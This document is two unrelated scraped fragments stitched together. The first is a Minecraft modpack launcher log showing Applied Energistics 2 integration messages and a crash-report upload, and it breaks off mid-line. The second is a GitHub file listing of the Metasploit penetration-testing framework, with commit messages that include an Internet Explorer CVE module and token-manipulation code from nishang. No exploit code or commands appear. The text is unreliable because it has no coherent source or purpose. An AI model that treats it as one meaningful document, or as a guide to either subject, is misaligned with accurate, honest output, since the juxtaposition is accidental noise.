integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Method Tick_RotaryCraft from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/RotaryCraft [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/tile/powersink/RedstoneFlux because RF integration is enabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface mekanism.api.energy.IStrictEnergyAcceptor from appeng/tile/powersink/MekJoules because Mekanism integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/MekJoules [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface powercrystals.minefactoryreloaded.api.rednet.connectivity.IRedNetConnection from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Method getConnectionType from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/quartz/ToolQuartzWrench because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/quartz/ToolQuartzWrench [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.ISpecialElectricItem from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.IElectricItemManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Method getManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/powered/powersink/IC2 [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyContainerItem from appeng/items/tools/powered/powersink/RedstoneFlux because RFItem integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/ToolNetworkTool because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/ToolNetworkTool [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/misc/PartStorageBus [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PItems [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySource from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PIC2Power [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/parts/p2p/PartP2PRFPower because RF integration is enabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Starting AE2 VersionChecker [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( ended after 4556ms ) [16/5/2015 18:50:48 PM] OpenEye: Sending pending crash report located at '**USERSDIR**\Instances\SkyFactory\reports\pending-crash-2015-05-14_21.47.10-0.json' [16/5/2015 18:50:48 PM] Checking for updated files! [16/5/2015 18:50:49 PM] OpenEye: Pending crash report sent! URL: http://openeye.openmods.info/commoncrash/oom [16/5/2015 18:50:55 PM] No updates found! [16/5/2015 19:05:04 PM] Copied Log to clipboard [16/5/2015 19:05:07 PM] Log uploaded and link copied to clipboard:
MarkoArmitage
app turn nil publics and privates into blanks 3 months ago config Use bundler/setup for more graceful bundler related failures 11 days ago data Add token fiddling from nishang 12 hours ago db Revert "Diff triggering comment" 12 days ago documentation Switch to Msf::OperatingSystems::Match::WINDOWS 2 months ago external Use PDWORD_PTR and DWORD_PTR 29 days ago features Up aruba timeout for simplecov overhead 4 days ago lib Check for load errors in reload_all 4 days ago modules Land #4255 - CVE-2014-6332 Internet Explorer 19 hours ago plugins Land #3588, @tobd-r7's Fix SpaceBeforeModifierKeyword Rubocop warning 4 months ago script rails generate cucumber:install 3 months ago scripts delete the old script a month ago spec Remove debug file writes 2 days ago test Fix up comment splats with the correct URI a month ago tools Fix bugs 24 days ago .gitignore Add note about rbenv for rvm .versions.conf local override 24 days ago .gitmodules Add RDI submodule, port Kitrap0d a year ago .mailmap Add @trosen-r7's alias for commits 6 months ago .rspec Add modern --require to .rspec 2 months ago .rubocop.yml Reapply PR #4113 (removed via #4175) 18 days ago .ruby-gemset Restoring ruby and gemset files 6 months ago .ruby-version Oh good, another Ruby version bump 14 days ago .simplecov Remove fastlib 2 months ago .travis.yml Enable fast_finish on travis-ci 12 days ago .yardopts Various merge resolutions from master <- staging 4 months ago CONTRIBUTING.md Add a don't to CONTRIBUTING about merge messages 11 days ago COPYING With 66 days left in 2014, may as well update a month ago Gemfile metasploit-credential bump to 0.13.3 16 days ago Gemfile.local.example Various merge resolutions from master <- staging 4 months ago Gemfile.lock Bump mdm version number 12 days ago HACKING Update link for The Metasploit Development Environment 5 months ago LICENSE Remove fastlib 2 months ago README.md Encourage use of the installer for users. 8 months ago Rakefile Merge branch 'feature/MSP-11130/metasploit-framework-spec-constants' … 24 days ago metasploit-framework-db.gemspec metasploit-credential bump to 0.13.3 16 days ago metasploit-framework-full.gemspec Update metasploit-framework-full.gemspec 23 days ago metasploit-framework-pcap.gemspec Depend on metasloit-framework in optional gemspecs 24 days ago metasploit-framework.gemspec Update meterpreter_bins to 0.0.11 18 days ago msfbinscan Remove fastlib 2 months ago msfcli Fix thread-leaks in msfcli spec 17 days ago msfconsole @wvu-r7 is a skilled negotiator. s/stdout/stderr/ a month ago msfd Remove fastlib 2 months ago msfelfscan Remove fastlib 2 months ago msfencode Remove fastlib 2 months ago msfmachscan Remove fastlib 2 months ago msfpayload fixes merge conflicts msfpayload & exe a month ago msfpescan Remove fastlib 2 months ago msfrop Remove fastlib 2 months ago msfrpc Remove fastlib 2 months ago msfrpcd Remove call to legacy db.sink queue, closes #4244 7 days ago msfupdate Always use maybe_wait_and_exit in msfupdate a year ago msfvenom Fix #4047 - undefined method `rank' due to an invalid encoder name 19 days ago README.md